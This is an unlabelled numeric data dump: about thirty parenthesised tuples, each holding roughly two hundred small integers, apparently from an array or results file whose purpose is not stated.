(15,15,14,15,15,15,15,14,13,15,15,15,15,12,13,15,15,15,15,15,15,15,15,11,12,15,15,15,15,13,14,13,14,15,13,12,13,11,14,15,15,13,13,14,14,13,15,15,11,12,14,11,12,13,12,13,11,13,14,13,14,15,14,12,14,15,14,15,14,14,13,15,14,15,15,13,13,15,15,15,15,15,11,12,12,11,11,15,15,15,14,14,15,15,15,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,15,15,14,14,12,10,12,13,11,13,13,13,13,14,13,13,11,15,12,10,14,12,13,12,11,12,10,10,15,11,14,12,13,13,13,13,13,13,13,13,13,13,13,13,13,15,12,15,12,14,12,14,15,15,14,14,15,11,15,11,14,13,11,15,8,14,13,13,13,13,13,13,12,10,11,11,15,15,15,14,11,10,11,11,15,15,15,14,12,11,12,12,11,15,15,11,15,10,11,11,12,11,15,15,14,),
(13,12,11,15,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,15,17,14,14,17,11,17,17,17,14,14,17,16,17,17,12,17,17,17,15,17,17,17,17,13,17,17,16,17,16,15,17,15,17,17,16,17,17,17,17,16,13,14,17,15,16,17,16,15,14,10,17,16,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,14,17,16,10,10,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,16,17,16,12,16,17,17,17,17,17,17,17,17,17,17,17,17,17,15,17,16,16,15,17,17,17,17,17,16,17,17,16,17,17,17,17,17,17,17,17,17,17,17,17,15,16,16,16,15,11,15,15,15,17,16,14,15,14,15,14,16,14,17,17,17,14,15,15,17,9,17,17,17,17,17,17,17,13,17,13,17,17,17,17,17,13,17,14,17,17,15,14,17,15,17,16,17,16,17,17,15,16,17,17,17,),
(15,17,13,17,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,19,18,18,19,14,19,19,19,16,18,19,18,19,19,18,19,19,19,18,19,19,19,19,16,19,19,19,19,18,19,19,19,19,19,18,19,19,19,19,19,16,16,19,17,18,19,18,18,16,18,19,18,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,19,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,16,18,19,19,19,19,19,19,19,19,19,19,19,19,19,17,19,19,18,17,19,19,19,19,19,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,17,19,19,18,19,15,17,19,18,19,18,16,18,16,18,16,19,16,19,19,19,17,17,17,19,18,19,19,19,19,19,19,19,15,19,16,19,19,19,19,19,15,19,17,19,19,19,16,19,19,19,18,19,19,19,19,18,19,19,19,19,),
(12,12,12,12,12,12,12,10,11,12,12,12,12,10,11,12,12,12,12,12,12,12,12,10,10,12,12,12,12,11,11,10,12,11,10,10,10,10,12,12,10,11,11,11,12,12,12,11,10,11,12,10,10,10,10,11,11,11,11,11,11,10,10,9,12,12,11,12,11,11,8,12,11,12,12,11,11,12,12,12,12,12,10,10,10,10,10,12,12,12,11,11,10,10,12,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,11,10,10,10,10,10,11,11,11,11,11,11,11,12,11,10,11,11,10,10,10,11,10,10,12,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,12,10,11,10,10,11,12,11,9,12,9,11,8,11,9,10,12,10,11,12,10,11,11,11,11,10,10,10,10,12,12,12,12,10,10,11,10,11,12,12,11,10,10,10,10,10,12,10,10,12,10,11,11,11,10,12,12,12,),
(17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,16,15,17,17,16,17,16,17,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,16,16,17,15,17,14,17,15,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,),
(5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,5,5,5,5,5,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,3,3,5,5,4,5,4,5,3,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,3,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,5,4,3,5,3,4,2,5,3,5,5,5,5,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,),
(12,14,12,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,12,11,14,12,13,14,13,13,12,14,14,13,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,12,13,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,13,14,12,12,14,14,14,13,12,14,11,14,11,14,11,14,14,14,13,12,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,11,14,14,14,13,14,14,14,14,13,14,14,14,14,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,10,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,10,11,11,11,11,11,11,11,11,11,10,11,10,11,11,11,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,12,14,11,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,),
(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,12,14,11,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,),
(13,15,15,15,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,13,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,13,15,15,14,15,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,13,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,14,15,12,15,12,15,14,15,15,15,14,14,15,15,15,15,15,15,15,15,15,15,15,15,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,),
(14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,13,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,13,15,15,14,15,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,13,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,14,14,15,12,15,12,15,14,15,15,15,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,),
(18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,17,19,19,18,19,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,18,19,16,19,16,19,18,19,19,19,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,),
(18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,17,16,19,19,18,19,18,18,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,17,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,17,19,16,19,16,19,17,19,19,19,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,),
(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,12,14,14,13,14,13,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,14,12,14,11,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,),
(15,17,16,16,16,18,18,18,18,18,18,17,17,17,17,18,18,18,18,18,18,18,17,18,18,18,16,18,18,17,14,18,18,17,17,17,18,18,17,18,17,18,18,18,17,16,18,18,17,17,16,17,18,18,17,17,18,18,18,17,17,18,15,15,18,16,17,17,17,16,16,18,17,16,16,18,18,18,18,18,18,18,17,17,17,17,17,18,18,18,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,17,18,17,16,16,16,17,17,17,17,17,18,18,18,18,18,17,17,18,16,17,17,18,16,17,17,17,17,17,18,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,16,18,17,16,17,16,16,17,17,18,17,14,17,15,17,14,18,14,17,18,17,16,15,17,18,18,18,18,17,17,17,17,18,15,18,16,17,17,17,18,18,15,18,17,17,18,17,16,17,17,18,16,17,17,17,17,17,17,18,18,17,),
(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,7,9,9,8,9,8,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,7,9,7,9,6,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,),
(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,7,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,8,9,9,7,9,6,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,5,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,6,7,7,5,7,4,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,),
(6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,5,6,6,6,6,6,6,6,6,6,6,6,6,5,5,6,5,6,6,5,6,6,6,6,6,5,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,5,5,4,5,6,6,6,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,5,5,5,5,6,6,6,6,6,6,6,6,6,4,5,6,4,5,4,5,4,4,6,4,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,5,6,5,6,5,6,6,6,5,6,6,4,6,3,6,6,4,6,4,6,6,6,6,6,6,6,5,5,4,4,6,6,6,6,4,5,6,6,6,6,6,6,5,6,5,5,4,6,6,5,6,5,6,6,6,5,6,6,6,),
(13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,10,13,13,13,13,13,13,12,13,12,13,13,8,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,11,13,13,12,13,12,13,10,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,9,9,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,12,10,13,11,12,10,13,10,13,13,13,13,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,),
(12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,10,12,12,11,12,11,11,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,11,12,9,12,9,12,10,12,12,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,),
(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,12,14,14,14,14,14,14,12,14,13,14,14,12,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,13,12,12,14,14,13,14,13,14,11,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,12,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,12,14,14,14,14,14,14,14,14,13,14,14,14,14,14,14,14,14,14,14,14,14,14,13,13,14,13,14,14,13,13,14,13,11,14,12,13,11,14,11,14,14,14,14,14,12,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,14,14,13,14,14,14,14,14,14,13,14,14,14,13,14,14,14,),
(11,11,10,11,11,11,11,10,10,11,11,11,11,10,10,11,11,11,11,11,11,11,11,10,10,11,11,11,11,10,11,10,10,10,10,10,10,10,10,11,10,10,10,10,10,11,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,11,10,11,10,11,10,11,11,11,11,10,10,11,11,11,11,11,10,10,10,10,10,11,11,11,10,10,10,10,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,10,10,10,10,9,10,10,10,10,10,11,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,10,11,10,10,10,11,10,10,11,9,10,7,11,10,10,11,10,11,10,10,10,10,10,10,10,10,10,10,10,11,11,10,10,10,10,10,10,11,11,10,10,10,10,10,10,11,10,10,11,10,10,10,10,10,11,11,10,),
(12,12,12,12,12,12,12,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,6,9,12,12,12,12,12,12,10,12,11,12,11,7,10,12,12,10,12,12,12,12,12,12,12,12,11,12,12,9,9,11,12,12,12,12,12,11,6,10,10,12,12,11,12,11,12,9,12,12,12,12,12,12,12,12,12,12,12,12,12,12,11,12,12,12,12,11,12,5,5,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,9,11,12,10,11,10,11,10,10,12,11,12,11,12,12,12,12,12,12,12,12,12,12,12,12,12,11,10,12,10,12,12,8,11,12,11,9,12,10,11,9,12,9,11,12,10,12,12,9,12,12,12,12,11,6,7,11,12,12,12,12,11,12,12,11,12,12,12,11,11,12,9,12,11,12,8,12,12,10,12,12,12,11,12,12,12,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,9,11,8,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(9,10,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,9,10,11,10,11,11,10,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,8,11,11,10,11,10,10,8,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,9,11,11,11,11,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,10,11,10,8,10,8,10,8,11,8,11,11,11,9,10,9,11,11,11,11,11,11,11,11,11,9,11,10,11,11,11,11,11,9,11,9,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,),
(11,12,11,11,11,13,13,13,13,13,13,12,12,11,10,13,13,13,13,13,13,13,12,13,13,13,11,13,13,12,10,13,13,12,12,12,13,13,11,13,12,13,13,13,11,11,13,13,12,11,11,12,13,13,12,12,13,13,13,11,12,13,10,10,13,11,12,11,12,11,11,13,11,11,11,13,13,13,13,13,13,13,11,11,11,11,11,13,13,13,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,11,13,12,11,11,10,10,11,11,11,11,13,13,13,13,13,12,12,13,10,10,12,13,11,12,11,12,11,10,13,11,13,13,13,13,13,13,13,13,13,13,13,13,13,13,10,13,12,11,12,10,10,12,12,13,12,9,12,10,12,9,13,8,11,13,10,11,11,12,13,13,13,13,12,12,11,10,13,11,13,11,11,12,11,13,13,11,13,12,12,13,12,10,11,12,13,10,11,12,12,12,12,12,13,13,12,),
(13,13,11,12,12,13,13,11,11,13,13,13,13,10,11,13,13,13,13,13,13,13,13,6,8,13,13,12,13,11,13,10,12,10,10,10,5,10,11,13,9,11,11,11,11,13,13,12,10,10,11,10,10,10,10,11,11,11,11,11,11,9,11,11,11,12,12,12,12,13,8,12,13,12,12,11,10,12,13,13,12,13,10,10,10,10,10,13,13,12,10,11,6,6,13,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,13,11,11,11,10,10,11,10,11,11,11,11,10,11,11,11,13,11,10,11,11,11,10,10,10,10,10,12,10,11,10,11,11,11,11,11,11,11,11,11,11,11,11,11,9,9,13,8,13,10,6,12,13,12,8,13,11,12,8,13,8,10,13,10,13,10,8,11,11,11,11,10,10,10,10,11,12,12,11,10,10,11,10,11,12,13,10,10,10,10,10,10,12,10,10,13,9,11,11,11,9,13,13,11,),
(4,6,5,5,4,6,5,5,5,6,6,5,5,5,5,6,6,6,6,5,6,6,5,5,5,6,5,6,6,5,4,5,5,6,5,5,5,5,5,5,6,5,5,5,5,5,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,5,5,5,6,5,6,4,6,5,6,5,5,5,5,6,6,6,6,6,5,5,5,5,5,6,6,6,5,5,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,5,5,5,5,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,5,5,5,5,5,6,6,6,4,6,6,2,6,2,5,6,5,6,5,6,4,5,5,5,5,5,5,5,5,5,6,5,5,4,5,5,5,5,6,5,5,5,5,5,5,5,5,5,6,5,5,5,5,5,5,5,6,6,5,),
(10,10,9,10,10,10,10,8,8,10,10,10,10,7,8,10,10,10,10,10,10,10,10,6,6,10,10,10,10,8,10,8,9,8,7,7,6,7,9,10,7,8,8,8,9,10,10,9,7,8,9,7,7,7,7,8,8,8,8,8,9,6,8,9,9,10,9,10,9,10,5,10,10,10,10,8,8,10,10,10,10,10,7,7,7,7,7,10,10,10,8,9,6,6,10,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,10,10,9,9,8,7,7,8,7,8,8,8,8,8,8,8,8,10,8,7,9,8,8,7,7,8,7,7,10,7,9,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,6,10,6,10,7,6,9,10,9,6,10,9,9,8,10,6,7,10,7,10,9,6,8,8,8,8,7,7,7,7,9,10,10,9,7,7,8,7,8,10,10,8,7,7,7,7,7,10,7,7,10,6,8,8,8,7,10,10,9,),
